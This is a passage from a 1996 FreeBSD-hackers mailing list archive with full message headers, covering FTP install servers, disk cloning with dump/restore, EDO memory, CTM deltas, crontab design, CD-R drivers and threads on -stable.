type on the card. - You have an IRQ configuration error (this may include PCI BIOS config). - Your card is stuffed. > > Is the card faulty or should I be using a different NIC with better > > driver code in the Kernel ? The 'ed' driver is rock-solid. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Jun 27 19:27:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA25304 for hackers-outgoing; Thu, 27 Jun 1996 19:27:37 -0700 (PDT) Received: from ns.via.net (ns.via.net [140.174.204.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA25291 for ; Thu, 27 Jun 1996 19:27:32 -0700 (PDT) Received: (from joe@localhost) by ns.via.net (8.6.9/8.6.9) id TAA03765 for hackers@freebsd.org; Thu, 27 Jun 1996 19:27:41 -0700 Date: Thu, 27 Jun 1996 19:27:41 -0700 From: Joe McGuckin Message-Id: <199606280227.TAA03765@ns.via.net> To: hackers@freebsd.org Subject: How to... Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I would like to clone freebsd at my offics using a net install. How do I set up a server for doing FTP installs? Our net connection has gotten so slow of late, that a binary only install takes a couple of hours! -joe From owner-freebsd-hackers Thu Jun 27 19:39:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA26724 for hackers-outgoing; Thu, 27 Jun 1996 19:39:56 -0700 (PDT) Received: from ns.via.net (ns.via.net [140.174.204.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA26707 for ; Thu, 27 Jun 1996 19:39:49 -0700 (PDT) Received: (from joe@localhost) by ns.via.net (8.6.9/8.6.9) id TAA03861 for hackers@freebsd.org; Thu, 27 Jun 1996 19:40:03 -0700 Date: Thu, 27 Jun 1996 19:40:03 -0700 From: Joe McGuckin Message-Id: <199606280240.TAA03861@ns.via.net> To: hackers@freebsd.org Subject: What is EDO memory? Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk What is EDO? Why doesn't it come in parity? Is it faster than standard ram? From owner-freebsd-hackers Thu Jun 27 19:44:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id TAA27331 for hackers-outgoing; Thu, 27 Jun 1996 19:44:13 -0700 (PDT) Received: from ns.via.net (ns.via.net [140.174.204.1]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id TAA27316 for ; Thu, 27 Jun 1996 19:44:08 -0700 (PDT) Received: (from joe@localhost) by ns.via.net (8.6.9/8.6.9) id TAA03879 for hackers@FreeBSD.ORG; Thu, 27 Jun 1996 19:44:17 -0700 Date: Thu, 27 Jun 1996 19:44:17 -0700 From: Joe McGuckin Message-Id: <199606280244.TAA03879@ns.via.net> To: hackers@FreeBSD.ORG Subject: Re: Frame relay and ATM support: virtual interface per vpi? Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk One feature I'd like to see is 'sub-interfaces' on a per VC basis. I'd like to see traffic counts/statistics per VC - not just for the hardware interface. From owner-freebsd-hackers Thu Jun 27 20:35:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA02517 for hackers-outgoing; Thu, 27 Jun 1996 20:35:30 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA02512 for ; Thu, 27 Jun 1996 20:35:26 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id UAA01810; Thu, 27 Jun 1996 20:34:36 -0700 (PDT) To: Joe McGuckin cc: hackers@freebsd.org Subject: Re: How to... In-reply-to: Your message of "Thu, 27 Jun 1996 19:27:41 PDT." <199606280227.TAA03765@ns.via.net> Date: Thu, 27 Jun 1996 20:34:36 -0700 Message-ID: <1808.835932876@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I would like to clone freebsd at my offics using a net install. How do I set up > a server for doing FTP installs? Easy, just copy a FreeBSD distribution under ~ftp/pub on the server and then select this server under "Other" on the FTP site selection menu as "ftp://yourname/pub" Jordan From owner-freebsd-hackers Thu Jun 27 20:36:21 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA02585 for hackers-outgoing; Thu, 27 Jun 1996 20:36:21 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA02578 for ; Thu, 27 Jun 1996 20:36:15 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.7.3) with SMTP id UAA05788; Thu, 27 Jun 1996 20:35:38 -0700 (PDT) Message-Id: <199606280335.UAA05788@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Joe McGuckin cc: hackers@freebsd.org Subject: Re: What is EDO memory? In-reply-to: Your message of Thu, 27 Jun 96 19:40:03 -0700. <199606280240.TAA03861@ns.via.net> Date: Thu, 27 Jun 1996 20:35:37 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >What is EDO? Why doesn't it come in parity? >Is it faster than standard ram? This is my understanding of it... EDO (Extended Data Out) DRAM is capable of bursting faster than regular DRAM (Dynamic RAM). For example, it might take six clock cycles to get the first word, then four cycles for each additional word, once the intial address is setup by the memory logic. This is usually designated like: 6-4-4-4, indicating the bus cycles required for a burst of four words. This is why we have cache -- all those clock cycles are cycles where the CPU is twiddling its thumbs waiting for data. Cache runs faster than DRAM, so can retreive data without all those wait states if you get a cache hit. Most decent cache SRAM can do somewhere between 2-1-1-1 and 3-2-2-2. EDO RAM starts a transaction like regular DRAM, but after the initial address setup, is able to burst data through with less wait states, say two cycles instead of four for each following word: 6-2-2-2. EDO was originally touted as a way to make motherboards without cache. But, it's obvious the performance, in spite of being better than DRAM, just isn't as good as with a cache *and* EDO. Another kind of RAM just starting to catch on is SDRAM, or Synchronous DRAM. Supposedly it's supposed to be able to do like EDO, but at the full speed of the bus for bursts, so something like: 6-1-1-1. Although the setup time is still slower than cache, the following words are burst in quickly. SDRAM might actually be useful in low cost computers without cache. However, for the best performance, you'll still want cache in your machine (for faster setup times, and so the CPU can run from the cache while a DRAM refresh is in progress, or if a bus-master device is writing to memory while the CPU is doing something else). ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Thu Jun 27 21:12:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA04592 for hackers-outgoing; Thu, 27 Jun 1996 21:12:18 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA04362; Thu, 27 Jun 1996 21:11:17 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id WAA17865; Thu, 27 Jun 1996 22:11:01 -0600 (MDT) Message-Id: <199606280411.WAA17865@rover.village.org> To: "Gary Palmer" Subject: Re: cvs-cur-2135 Cc: Poul-Henning Kamp , James Raynard , hackers@FreeBSD.ORG In-reply-to: Your message of Sat, 22 Jun 1996 15:24:04 BST Date: Thu, 27 Jun 1996 22:11:01 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk : Perhaps a rate limited version of the mail lists should be made for : those who want that facility? I would say that not EVERYONE wants to : do that. I know that I'd still prefer CTM over SUP, even if I had a : half-way decent net.link... Hmmm. I'd think that splitting the large CTM deltas into smaller parts wouldn't be a horrible idea as well. I know they are split into parts for mailing, but if part 27 of 40 buggers up, then you have to get all 40 parts again via FTP. Combined with a rate limited list (ctm-cur-slow) this would solve the problem. Just a thought. Unless someone is motivated to do this, however, it won't happen. I have enough bandwidth to cope with even the biggest changes. CTM is nicer for me because it uses less of that bandwidth than SUP. And that will be true when the great labeling comes in, as only the diffs are send down the wire. I'm happy with the status quo, so I have no strong motivation to contribute this :-(. Warner From owner-freebsd-hackers Thu Jun 27 21:38:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA05740 for hackers-outgoing; Thu, 27 Jun 1996 21:38:58 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id VAA05731 for ; Thu, 27 Jun 1996 21:38:54 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id NAA15335 for hackers@freebsd.org; Fri, 28 Jun 1996 13:56:44 +0930 From: Michael Smith Message-Id: <199606280426.NAA15335@genesis.atrad.adelaide.edu.au> Subject: (Away for the next month) To: hackers@freebsd.org Date: Fri, 28 Jun 1996 13:56:43 +0930 (CST) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On the completely off chance that anyone cares, I'll be out of the country for the next month, so I've unsubscribed from -hackers. With any luck I'll be able to check my mail on a regular basis, so if something significant comes up, direct mail's the way to go. -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Jun 27 22:08:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA06793 for hackers-outgoing; Thu, 27 Jun 1996 22:08:44 -0700 (PDT) Received: from lynx.its.unimelb.edu.au (lynx.its.unimelb.EDU.AU [128.250.20.151]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA06766 for ; Thu, 27 Jun 1996 22:08:04 -0700 (PDT) Received: (from danny@localhost) by lynx.its.unimelb.edu.au (8.6.11/8.6.9) id PAA01013; Fri, 28 Jun 1996 15:07:14 +1000 Date: Fri, 28 Jun 1996 15:07:14 +1000 (EST) From: "Daniel O'Callaghan" To: Joe McGuckin cc: hackers@freebsd.org Subject: Re: How to... In-Reply-To: <199606280227.TAA03765@ns.via.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 27 Jun 1996, Joe McGuckin wrote: > I would like to clone freebsd at my offics using a net install. How do I set up > a server for doing FTP installs? > > Our net connection has gotten so slow of late, that a binary only install > takes a couple of hours! What I usually do it the following: 1. Stick destination hdd in target machine, and start a normal ftp install. 2. After disk is partitioned and labelled, and the install prog is getting ready to unpack bindist, ctrl-C out of the install. 3. Put destination disk as a secondary hdd into a machine with FreeBSD. 4. clone this machine on to target disk with the commands: mount /dev/wd1a /new cd /new dump 0f - / | restore -r -f - mount /dev/wd1s1f /new/usr cd /new/usr dump 0f - /usr | restore -r -f - mount /dev/wd1s1e /new/var cd /new/var dump 0f - /var | restore -r -f - 5. Remove target disk and put it into target machine and boot. Note that target machine will think it is the cloned machine, so may cause network problems if you plug it into the net before fixing its ip address and name etc. Danny From owner-freebsd-hackers Thu Jun 27 22:15:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA07047 for hackers-outgoing; Thu, 27 Jun 1996 22:15:47 -0700 (PDT) Received: from netgate.qcworld.com (netgate.qcworld.com [204.217.252.254]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA07037 for ; Thu, 27 Jun 1996 22:15:44 -0700 (PDT) Received: from rigel.qcworld.com ([198.62.199.40]) by netgate.qcworld.com (8.6.12/8.6.12) with ESMTP id WAA11174; Thu, 27 Jun 1996 22:16:15 -0700 Received: from tailspin.qcworld.com (root@tailspin.qcworld.com [198.62.199.77]) by rigel.qcworld.com (8.6.12/8.6.12) with ESMTP id WAA15619; Thu, 27 Jun 1996 22:14:40 -0700 Received: (from frf@localhost) by tailspin.qcworld.com (8.7.5/8.6.12) id WAA10585; Thu, 27 Jun 1996 22:15:16 -0700 (PDT) From: frf Message-Id: <199606280515.WAA10585@tailspin.qcworld.com> Subject: Re: How to...] To: joe@ns.via.net Date: Thu, 27 Jun 1996 22:15:15 -0700 (PDT) Cc: hackers@freebsd.org In-Reply-To: <1808.835932876@time.cdrom.com> from "Jordan K. Hubbard" at Jun 27, 96 08:34:36 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk => => > I would like to clone freebsd at my offics using a net install. How => > do I set up a server for doing FTP installs? => => Easy, just copy a FreeBSD distribution under ~ftp/pub on the server => and then select this server under "Other" on the FTP site selection => menu as "ftp://yourname/pub" => => Jordan I mirrored the freefall.cdrom.com one night using NCFtp's recursive ability. > get -R * It ran for the better part of the night over a choked 56k line, then it was a nice install over local cheaper-net. One thing I should mention: The base installation worked perfectly, except when trying to 'post-install' packages. It attepted to login as 'ftp' instead of using the name I had given for 'ftp user name' in the options menu. I had to add an ftp account, then it worked fine. Robert -- frf@qcworld.com frf@xocolatl.com Favorite mail error: "554 Too many recipients for no message body" From owner-freebsd-hackers Thu Jun 27 22:21:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA07345 for hackers-outgoing; Thu, 27 Jun 1996 22:21:07 -0700 (PDT) Received: from critter.tfs.com (critter.cdrom.com [204.216.27.38]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id WAA07340; Thu, 27 Jun 1996 22:21:03 -0700 (PDT) Received: from critter.tfs.com (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id WAA01137; Thu, 27 Jun 1996 22:20:17 -0700 (PDT) To: Warner Losh cc: "Gary Palmer" , James Raynard , hackers@FreeBSD.ORG Subject: Re: cvs-cur-2135 In-reply-to: Your message of "Thu, 27 Jun 1996 22:11:01 MDT." <199606280411.WAA17865@rover.village.org> Date: Thu, 27 Jun 1996 22:20:16 -0700 Message-ID: <1135.835939216@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199606280411.WAA17865@rover.village.org>, Warner Losh writes: >: Perhaps a rate limited version of the mail lists should be made for >: those who want that facility? I would say that not EVERYONE wants to >: do that. I know that I'd still prefer CTM over SUP, even if I had a >: half-way decent net.link... > >Hmmm. I'd think that splitting the large CTM deltas into smaller >parts wouldn't be a horrible idea as well. I know they are split into >parts for mailing, but if part 27 of 40 buggers up, then you have to >get all 40 parts again via FTP. Combined with a rate limited list >(ctm-cur-slow) this would solve the problem. Just a thought. > >Unless someone is motivated to do this, however, it won't happen. So, since most of the cvs-cur subscribers are capable C-hackers, and since we're talking some rather minor surgery here, I will allow myself to conclude that it's not a BIG problem, because if it were, somebody would be busy fixing it :-) -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Thu Jun 27 23:11:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA10845 for hackers-outgoing; Thu, 27 Jun 1996 23:11:23 -0700 (PDT) Received: from sujal.prognet.com (root@morrison-c17.aa.net [204.157.220.149]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA10829 for ; Thu, 27 Jun 1996 23:11:19 -0700 (PDT) Received: from localhost (smpatel@localhost [127.0.0.1]) by sujal.prognet.com (8.7.5/8.6.12) with SMTP id XAA01922; Thu, 27 Jun 1996 23:10:49 -0700 (PDT) Date: Thu, 27 Jun 1996 23:10:47 -0700 (PDT) From: Sujal Patel X-Sender: smpatel@sujal.prognet.com To: Tony Tam cc: hackers@FreeBSD.org Subject: Re: RealAudio Player In-Reply-To: <31CF0340.41C67EA6@cd.iidpwr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Tony Tam wrote: > Could anybody tell me where I can download a RealAudio > Player for FreeBSD? A FreeBSD RealAudio 2.0 player is available on the RealAudio website at http://www.realaudio.com/ Sujal From owner-freebsd-hackers Thu Jun 27 23:32:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id XAA11514 for hackers-outgoing; Thu, 27 Jun 1996 23:32:56 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id XAA11509 for ; Thu, 27 Jun 1996 23:32:53 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id XAA05961; Thu, 27 Jun 1996 23:31:47 -0700 (PDT) To: Sujal Patel cc: Tony Tam , hackers@FreeBSD.org Subject: Re: RealAudio Player In-reply-to: Your message of "Thu, 27 Jun 1996 23:10:47 PDT." Date: Thu, 27 Jun 1996 23:31:47 -0700 Message-ID: <5957.835943507@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > A FreeBSD RealAudio 2.0 player is available on the RealAudio website at > http://www.realaudio.com/ Hey, cool! A player at last! I've given them a few lines in our commercial section - please let me know if they have more verbiage for me to put there (I didn't really know how to describe the product so I didn't :-). Jordan From owner-freebsd-hackers Fri Jun 28 00:30:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA14433 for hackers-outgoing; Fri, 28 Jun 1996 00:30:08 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA14388 for ; Fri, 28 Jun 1996 00:29:55 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id UAA21340 for ; Thu, 27 Jun 1996 20:24:11 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA14507 for freebsd-hackers@freebsd.org; Thu, 27 Jun 1996 20:24:11 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id UAA02684 for freebsd-hackers@freebsd.org; Thu, 27 Jun 1996 20:14:34 +0200 (MET DST) From: J Wunsch Message-Id: <199606271814.UAA02684@uriah.heep.sax.de> Subject: Re: sup tags again To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 27 Jun 1996 20:14:34 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <645.835857926@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 26, 96 11:45:26 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > I'm afraid we don't tag for SNAPs. The most relevant tags you'll > find are RELENG_2_1_0 (-stable) and HEAD (-current). It seems to be a good idea to drop the UTC date/time when a SNAP has been taken somewhere for reference. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Jun 28 00:37:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA14880 for hackers-outgoing; Fri, 28 Jun 1996 00:37:38 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA14842 for ; Fri, 28 Jun 1996 00:36:03 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id UAA21302; Thu, 27 Jun 1996 20:23:07 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA14454; Thu, 27 Jun 1996 20:21:41 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id UAA02454; Thu, 27 Jun 1996 20:04:32 +0200 (MET DST) From: J Wunsch Message-Id: <199606271804.UAA02454@uriah.heep.sax.de> Subject: Re: no subject (file transmission) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 27 Jun 1996 20:04:32 +0200 (MET DST) Cc: pechter@shell.monmouth.com, freebsd-hackers@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <29794.835839033@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 26, 96 06:30:33 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > > 2. Declare the BSD method (the REAL original crontab) the winner. > > I think this is probably our best bet. Objection. I voted against /etc/crontab back in the old days, and i'm still against it (and always kill it as soon as i've installed a system). There's only a few things where i'm stating SysV to have the better approach, but per-user crontabs certainly belong into this category. Remember, the original BSD crontab was even more braindead in that it didn't allow crontab entries for users other than root, and the current /etc/crontab would make a mess for crontab(1) to allow for per-user cron commands, while the existing approach with one file per user is there && has proven to work. On the opposite, i don't see anything /etc/crontab would gain us that /var/cron/tabs/ doesn't already give us as well. (Not counting nostalgic feelings. :) Despite of this, i consider a world-readable /etc/crontab a BIG security hole. Read "The Cuckoo's egg" for why intruders do like to know when exactly system maintenance jobs are about to run... -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Jun 28 00:40:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA14978 for hackers-outgoing; Fri, 28 Jun 1996 00:40:03 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA14932 for ; Fri, 28 Jun 1996 00:39:57 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id TAA19608; Thu, 27 Jun 1996 19:20:44 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA13867; Thu, 27 Jun 1996 19:20:43 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id TAA01402; Thu, 27 Jun 1996 19:15:55 +0200 (MET DST) From: J Wunsch Message-Id: <199606271715.TAA01402@uriah.heep.sax.de> Subject: Re: Thanks for the CDROM writer tools! To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Thu, 27 Jun 1996 19:15:55 +0200 (MET DST) Cc: darrylo@hpnmhjw.sr.hp.com (Darryl Okahata) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199606262324.AA191531482@hpnmhjw.sr.hp.com> from Darryl Okahata at "Jun 26, 96 04:24:41 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Darryl Okahata wrote: > I just want to thank Joerg (for his CDROM burner drivers) and > Jordan (for his scripts). To be fair, what is mostly forgotten these days is that the initial work on the driver was done by Peter Dufault. He did it _blindly_, without ever having seen a CD-R device. I've then picked up his driver skeleton, and made it work once my boss decided to drop me the Plasmon writer next to my machine... (This wasn't particularly chosen, i have to say here: he simply ``went shopping'', and came back with a Plasmon, since ``it were just there, and it wasn't too expensive''. :-) > What makes things even more impressive is that I'm using a recycled > boatanchor to burn CDROMs: a 25MHz 386 w/16MB RAM, an el-cheapo NE2000 > clone card, and an old 1542B SCSI controller. The iso9660 image was > also accessed via NFS. :-) The trick is that you don't need a fast CPU (hey, we are not Microsloth!), as long as you've got solid hardware (like the AHA 1542) and enough of RAM so team(1) will do its job of a userland cache. Of course, if you're also going to run X11, and ghostscript (for lpd), and this, and that -- i needed 32 MB then. But i'm still impressed that it runs like a charm, without even noticing that there's a constant (and urgent) data flow in the background of the machine. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Jun 28 00:40:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA15003 for hackers-outgoing; Fri, 28 Jun 1996 00:40:34 -0700 (PDT) Received: from melb.werple.net.au (melb.werple.net.au [203.9.190.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id AAA14995 for ; Fri, 28 Jun 1996 00:40:31 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by melb.werple.net.au (8.7.5/8.7.3/2) with SMTP id RAA08460; Fri, 28 Jun 1996 17:37:59 +1000 (EST) Received: (from narvi@localhost) by haldjas.folklore.ee (8.6.12/8.6.12) id KAA26905; Fri, 28 Jun 1996 10:43:51 +0300 Date: Fri, 28 Jun 1996 10:43:51 +0300 (EET DST) From: Narvi To: John Birrell cc: FreeBSD.org!hackers@melb.werple.net.au Subject: Re: Threads for -stable In-Reply-To: <199606272144.HAA23519@melb.werple.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 28 Jun 1996, John Birrell wrote: > > > > > > HI! > > > > I know there is the threaded libc (libc_r) for -current but I would like > > to experiment with threads on -stable. Is it possible to take libc_r from > > -stable and bring it over to -stable? Or will it be overly big a task? > > libc_r from -current should work with -stable. We use it with 2.1R. We > *can't* use it with -current because of the pipe problems. > > Be careful to compile both libc_r and your program against -current > header files. That is - pull over current headers to something like /usr/current-include and then change the Makefile of libc_r to use /usr/current-include instead of /usr/include or just temporarily swap the places (move include to another directory and use a symlink to reflect the current situation)? Sander > > > > > If I only could get a machine to run -current on... But I quite don't > > have the courage to run -current on either of our 2 servers (which happen > > to be the only FreeBSD machines). > > > > Sander > > > > > -- > John Birrell CIMlogic Pty Ltd > jb@cimlogic.com.au 119 Cecil Street > Ph +61 3 9690 6900 South Melbourne Vic 3205 > Fax +61 3 9690 6650 Australia > Mob +61 18 353 137 > From owner-freebsd-hackers Fri Jun 28 01:17:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA17235 for hackers-outgoing; Fri, 28 Jun 1996 01:17:57 -0700 (PDT) Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id BAA17228 for ; Fri, 28 Jun 1996 01:17:54 -0700 (PDT) Received: from guillotin.prism.uvsq.fr (guillotin.prism.uvsq.fr [193.51.25.1]) by soleil.uvsq.fr (8.7.5/jtpda-5.2) with ESMTP id KAA28245 ; Fri, 28 Jun 1996 10:17:44 +0200 (METDST) Received: from angrand.prism.uvsq.fr (angrand.prism.uvsq.fr [193.51.25.85]) by guillotin.prism.uvsq.fr (8.7.5/jtpda-5.2) with ESMTP id KAA22228 ; Fri, 28 Jun 1996 10:17:44 +0200 (MET DST) From: Nicolas.Souchu@prism.uvsq.fr (Nicolas SOUCHU) Received: from (son@localhost) by angrand.prism.uvsq.fr 